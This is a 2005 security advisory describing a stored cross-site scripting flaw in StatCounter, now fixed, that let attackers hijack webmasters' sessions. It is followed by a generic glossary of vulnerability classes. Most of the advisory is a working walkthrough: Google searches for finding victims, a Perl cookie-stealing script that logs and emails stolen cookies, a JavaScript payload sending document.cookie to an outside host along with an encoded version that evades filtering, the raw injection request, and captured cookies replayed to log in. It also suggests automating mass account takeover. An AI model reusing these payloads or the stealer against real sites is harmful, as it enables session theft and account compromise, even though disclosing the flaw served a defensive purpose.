Statcounter Script Injection User Session Hijack

Bugtraq ID	Class	CVE
XXX	Input Validation & Session Hijack	CVE-2005-xxxx

Remote	Local	Published / Updated
Yes	Yes	04th May 2005

Vulnerable

http://www.statcounter.com/
All users of websites using the statcounter services

Not Vulnerable

-

Discussion

Statcounter.com is one of the best and most well known website monitoring applications on the Internet. To use statcounter a webmaster registers on the statcounter.com site and is provided with JavaScript that needs to be placed on every page on the webmasters website.

Unfortunately we have discovered a vulnerability that can disclose the authentication information of the webmaster and enable session hijacking for any user of the statcounter.com service.

Exploit

Find the Victims

The attacker must first find webmasters who use statcounter. A search on Google reveals over 7500 websites;
http://www.google.co.uk/search?q=%22statcounter.com/counter/counter.js%22&hl=en

The following URL reveals that over ½ million websites link to it;
http://www.google.co.uk/search?sourceid=navclient&ie=UTF-8&rls=GGLD,GGLD:2004-50,GGLD:en&q=link:http%3A%2F%2Fwww%2Estatcounter%2Ecom

These sites will have a snippet of JavaScript something like the one below with the xxxxx specific to the website. The attacker needs to note these for the exploit.

Collect the sc_project number

```
<!-- Start of StatCounter Code -->
<script type="text/javascript" language="javascript">
var sc_project=xxxxxx;
var sc_partition=5;
var sc_security="xxxxxxxx";
</script>
<script type="text/javascript" language="javascript"
src="http://www.statcounter.com/counter/counter.js"></script><noscript><a
href="http://www.statcounter.com/" target="_blank"><img
src="http://c6.statcounter.com/counter.php?sc_project=xxxxxxx&amp;java=0&amp;security=xxxxxxx"
alt="free website stats program" border="0"></a> </noscript>
<!-- End of StatCounter Code -->
```

Create Collection Script on Hacked Server

The attacker then needs to place code on a server to capture the user's session and cookie information. This would usually be on a previously hacked box that would be accessed via proxy chaining to hide the identity of the attacker.

This is the perl script that I used;

```
#!/usr/bin/perl
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we'll also email them too
open(COOKIES,">>stolen_cookie_file");

# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES "$ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR'}\n";

# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: nhouse\@stationx.net\n";
print MAIL "From: cookie_steal\@stationx.net\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL "$ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR'}\n";
close (MAIL);
```

Encode Injection Script

The following needs to be injected into the victims statcounter interface;

```
<script>(new Image).src='http://www.hackersite.net/code/steal.cgi?'+document.cookie;</script>
```

The injection code must first be encoded to bypass the filtering on statcounter like so;

```
%3cscript%3e(new+Image).src%3d'http%3a%2f%2fwww.hackersite.net%2fcode%2fsteal.cgi%3f'%2bdocum
ent.cookie%3b%3c%2fscript%3e
```

Statcounter Script Injection User Session Hijack

Inject Script into statcounter.com
Using an http injection tool such as webscarab send the below request with the URL and sc_project of the site you wish to exploit.

SENT to statcounter;
GET
http://c6.statcounter.com:80/t.php?sc_project=**XXXXXX**&resolution=1400&camefrom=&u=http%3A//www.stationx.net/">%3cscript%3e(new+Image).src%3d'http%3a%2f%2fwww.stationx.net%2fcode%2fsteal.cgi%3f'%2bdocument.cookie%3b%3c%2fscript%3e<"&t=StationX%20%3A%20IT%20Security%20for%20Home%20and%20Business&java=1&security=1052fc0b&sc_random=0.8400863271678128 HTTP/1.1
Host: c6.statcounter.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1
Accept: image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.stationx.net/testme

RESPONCE
HTTP/1.1 200 OK
Date: Tue, 12 Apr 2005 12:23:01 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7a PHP/4.3.10
X-Powered-By: PHP/4.3.10
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: session_633549=1113308581%260; expires=Sun, 11-Apr-2010 12:23:01 GMT; path=/; domain=.statcounter.com
Content-Type: image/gif
X-Transfer-Encoding: chunked
Content-length: 49

GIF89a

This has injected the attackers script into statcounter.com

Victim Visits statcounter.com
The user then logs in and browsers his stats on statcounter.com. On going onto “Visitors Path” etc he will be presented with the usual page and nothing will look odd. But within the HTML is the injected code;
<script>(new Image).src='http://www.hackersite.net/code/steal.cgi?'+document.cookie;</script>
This injected code sends the victims session and cookie information to hackersite.net

Attacker Receives Email Informing him of a Successful Cookie Capture
The steal.cgi script was run by the injected script under the permission of the user and therefore sends the sensitive cookies to hackersite.net. steal.cgi stores the cookies in the stolen_cookie_file and then sends an email to the attacker informing him of his successful cookie capture.

Viewing the Cookies
On the hackersite.net server the attacker views the stolen_cookie_file.

[root@mybox code]# cat stolen_cookie_file
session_229250=1110786103%261;%20session_496772=1106836180%260;%20session_338392=1110875307%264;%20session_539366=1107633073%260;%2

0session_489304=1107634349%260;%20session_414326=1108060668%261;%20session_216378=1107795372%260;%20session_477272=1108166950%260;%

20session_363804=1110402936%260;%20session_171256=1110786095%261;%20session_171255=1110403004%260;%20session_323304=1110702751%260;

%20session_287198=1112191924%260;%20session_204609=1113307409%2644;%20session_629331=1113207119%2612;%20login=nathanxxx%268c3fc01a5

403ce96c14739501d08429d;%20session_633549=1113254694%2630;%20session_517651=1112484001%260;%20session_450219=1112660213%260;%20sess

ion_548662=1113002703%260;%20PHPSESSID=843d2da0f9366fb2cca3325defa051a0 from 149.254.200.215

The important session cookie tokens is;
Set-Cookie: PHPSESSID=ab2cfb38f1ba6c06016b90c51f523580; path=/
This then is used to hijack the session during the lifetime of the session.

Remembered Username and Password cookie;
login=nathanxxx%268c3fc01a5403ze96z14739501z08429d;
Even better if the user opts to remember his username and password we can use this cookie. This cookie can be used to authenticate into statcounter at anytime.

Note the preauthorisation session tokens are not required for successful authentication;
Cookie: session_204609=1113298102%260; session_633549=1112657948%265; session_629331=1112256869%260 etc ….

Authenticate with the victims cookie
Create the cookie(s) in your browser or use webscarab to browse as normal.

GET http://my.statcounter.com:80/project/ HTTP/1.1
Host: my.statcounter.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: login=nathanxxx%268c3fc01a5403ce96c14739501d08429d;

RESPONCE
HTTP/1.1 200 OK
Content-Length: 3161
X-Content-Encoding: gzip
Date: Tue, 12 Apr 2005 09:44:35 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7a PHP/4.3.10
X-Powered-By: PHP/4.3.10
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: PHPSESSID=5e6e72d2cf199510c95c1cef07ef9912; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><title>StatCounter - My Projects [nathanxxx]</title> etc etc .....

Success for the Attacker
The attacker can now use the victims account in any way he wishes.

Please note the sessions have been altered in the advisory so they can't be used again!

Additional Horrors!
If someone wished to really damage the statcounter site and really cause problems this attack could fully automated to capture 1000's of users accounts.
An attacker would simply need to write a script to search Google for victims, grab the victims project number, inject the code, grab the sessions and cause untold automated changes to all victims. Without statcounter knowing of this vulnerability it would be very difficult for them to discover what was causing the problem.

Solution

Aodhan Cullen of statcounter fixed this vulnerability after we informed them. The fix was written using the PHP function htmlentities(). So no more worries.

Attempt now returns a security error in a gif.

```
HTTP/1.1 200 OK
Date: Fri, 29 Apr 2005 10:10:42 GMT
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA
OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: session_633549=1114769442%260; expires=Wed, 28-Apr-2010 10:10:42 GMT; path=/;
domain=.statcounter.com
Content-Type: image/gif
X-Transfer-Encoding: chunked
Content-length: 49

GIF89a
```

Credit

Nathan House @ StationX

References

http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.statcounter.com/

Legal Notice

Disclaimer

Statcounter Script Injection User Session Hijack

Key *Bugtraq/Security Focus

Classification

Each vulnerability can be classified into one or more of the following categories.

Boundary Condition Error

A boundary condition error occurs when:

1. A process attempts to read or write beyond a valid address boundary.
2. A system resource is exhausted.
3. An error results from an overflow of a static-sized data structure. This is a classic buffer overflow condition.

Access Validation Error

An access validation error occurs when:

1. A subject invokes an operation on an object outside its access domain.
2. An error occurs as a result of reading or writing to/from a file or device outside a subject's access domain.
3. An error results when an object acceptes input from and unauthorized subject.
4. An error results because the system failed to properly or completely authenticate a subject.

Input Validation Error

An input validation error occurs when:

1. An error occurs because a program failed to recognize syntactically incorrect input.
2. An error results when a module accepted extraneous input fields.
3. An error results when a module failed handle missing input fields.
4. An error results because of a field-value correlation error.

Origin Validation Error

This occurs when the system fails to properly authenticate a subject before performing privileged operations on its behalf. For example, the error might occur when an object accepts input from an unauthorized subject; or because the system fails to properly or completely authenticate a subject.

Failure to Handle Exceptional Conditions

1. An error manifests itself because the system failed to handle an exceptional condition generated by a functional module, device, or user input.

Race Condition Errors

1. An error is exploited during a timing window between two operations.

Serialization Errors

1. An error results from inadequate or improper serialization of operations.

Atomicity Errors

1. An error occurs when partially-modified data structures were observed by another process.
2. An error occurs because the code terminated with data only partially modified as part of some operation that should have been atomic.

Environment Errors

1. An error results from an interaction in a specific environment between functionally correct modules.
2. An error occurs only when a program is executed on a specific machine, under a particular configuration.
3. An error occurs because the operational environment is different from what the software was designed for.

Configuration Errors

1. An error results because of a system utility was installed with incorrect setup parameters.
2. An error occurs by exploiting a system utility that was installed in the wrong place.
3. An error occurs because access permissions were incorrectly set on a utility such that it violated the security policy.

Remote

The vulnerability is exploitable remotely via the network or other communication channel.

Statcounter Script Injection User Session Hijack

Local

The vulnerability is exploitable locally on the system or device.

Published

The date the vulnerability was made public.

Updated

The date the vulnerability was last updated in our database.

Vulnerable

This indicates the affected technology and related components. Each technology can have a strong (+) or weak (-) relationship to other components.

Not Vulnerable

This indicates the technology and related components are not vulnerable. Each technology can have a strong (+) or weak (-) relationship to other components.